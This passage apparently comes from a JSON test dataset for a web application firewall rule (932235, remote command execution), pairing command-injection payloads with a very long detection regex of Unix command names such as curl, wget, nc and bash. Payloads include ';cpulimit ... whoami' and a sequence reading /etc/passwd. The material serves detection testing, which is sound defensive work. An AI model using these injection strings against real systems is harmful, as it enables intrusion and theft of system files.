\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "AVI5619I" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;cpulimit -l 100 -f whoami\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name":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ltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "P6E0KY27" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "cd /;cd etc;comm passwd passwd\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\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x0b&\\),<>\\|]|$).*|o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|